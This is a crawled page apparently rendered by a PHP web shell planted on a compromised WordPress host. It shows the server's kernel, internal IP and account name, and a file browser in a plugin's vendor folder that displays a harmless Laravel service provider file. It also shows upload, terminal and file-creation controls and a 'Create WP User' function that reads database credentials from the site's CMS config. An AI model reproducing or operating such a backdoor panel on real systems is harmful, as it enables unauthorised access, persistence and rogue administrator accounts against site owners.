Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
infrops.pl
/
wp-content
/
plugins
/
wp-optimize
/
vendor
/
intervention
/
httpauth
/
src
/
Laravel
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
Facades
[目录]
drwxr-xr-x
2024-04-02 19:09
HttpAuthServiceProvider.php
1.31 KB
-rw-r--r--
2024-04-02 19:09
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
HttpAuthServiceProvider.php
<?php namespace Intervention\HttpAuth\Laravel; use Illuminate\Support\ServiceProvider; use Intervention\HttpAuth\HttpAuth; class HttpAuthServiceProvider extends ServiceProvider { /** * Indicates if loading of the provider is deferred. * * @var bool */ protected $defer = false; /** * Bootstrap the application events. * * @return void */ public function boot() { $this->publishes([ __DIR__ . '/../config/config.php' => config_path('httpauth.php') ]); } /** * Register the service provider. * * @return void */ public function register() { // merge default config $this->mergeConfigFrom( __DIR__ . '/../config/config.php', 'httpauth' ); // register singleton $this->app->singleton('httpauth', function ($app) { return HttpAuth::make($app['config']->get('httpauth')); }); // bind classname $this->app->bind('Intervention\HttpAuth\HttpAuth', function ($app) { return HttpAuth::make($app['config']->get('httpauth')); }); } /** * Get the services provided by the provider. * * @return array */ public function provides() { return ['httpauth']; } }
关闭
保存